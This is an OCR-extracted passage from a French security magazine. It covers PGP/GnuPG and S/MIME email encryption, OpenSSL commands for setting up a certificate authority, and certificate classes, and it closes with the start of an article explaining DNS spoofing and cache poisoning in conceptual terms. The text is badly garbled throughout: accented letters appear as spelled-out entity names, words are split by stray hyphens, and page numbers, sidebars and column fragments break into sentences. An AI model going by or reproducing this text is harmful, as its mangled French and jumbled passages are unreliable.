bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

